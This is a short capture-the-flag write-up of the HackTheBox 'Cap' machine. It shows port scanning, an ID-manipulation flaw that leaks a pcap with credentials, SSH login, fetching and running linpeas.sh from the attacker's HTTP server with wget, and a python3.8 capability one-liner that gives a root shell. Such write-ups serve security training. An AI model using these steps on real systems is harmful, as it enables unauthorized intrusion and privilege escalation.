Cap
A relatively easy Linux box in HackTheBox, you can root it in less than an hour.
nmap
(base) [psdon@arch cap]$ mkdir nmap
(base) [psdon@arch cap]$ sudo rustscan -a 10.10.10.245 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan A web server is running on port 80.
Web Enumeration
There's an interesting section in the sidebar which is located on /capture and when you go to that URL, you will be redirected to /data/<int>
Every time I visit /capture, the integer parameter in /data/1 was incrementing by 1.
So I change it to /data/0 and I got a pcap file, and I analyze it on wireshark and found a credentials on it.
Initial Shell
I login using that credentials on SSH, and looks like we got an initial shell. Sweet :D
(base) [psdon@arch cap]$ ssh nathan@10.10.10.245
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.

This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

nathan@cap:~$Post Exploitation
First, let's transfer linpeas.sh from our machine to the target machine
(base) [psdon@arch CyberSploit1]$ cd /opt/peass/linPEAS/
(base) [psdon@arch linPEAS]$ ls
builder images linpeas.sh README.md
(base) [psdon@arch linPEAS]$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... You can find the machine IP address by executing the following.
(base) [psdon@arch ~]$ ip a | grep tun0
9: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
inet 10.10.14.15/23 scope global tun0Then transfer the script using wget
nathan@cap:~$ wget http://10.10.14.15/linpeas.sh
--2021-08-29 19:09:04-- http://10.10.14.15/linpeas.sh

nathan@cap:~$ chmod +x linpeas.sh Then run linpeas.sh
nathan@cap:~$ ./linpeas.sh

linpeas-ng by carlospolop I noticed python3.8 binary was set a capability.
Privilege Escalation
We can gain root by executing the following command
nathan@cap:/var/www/html$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash");'
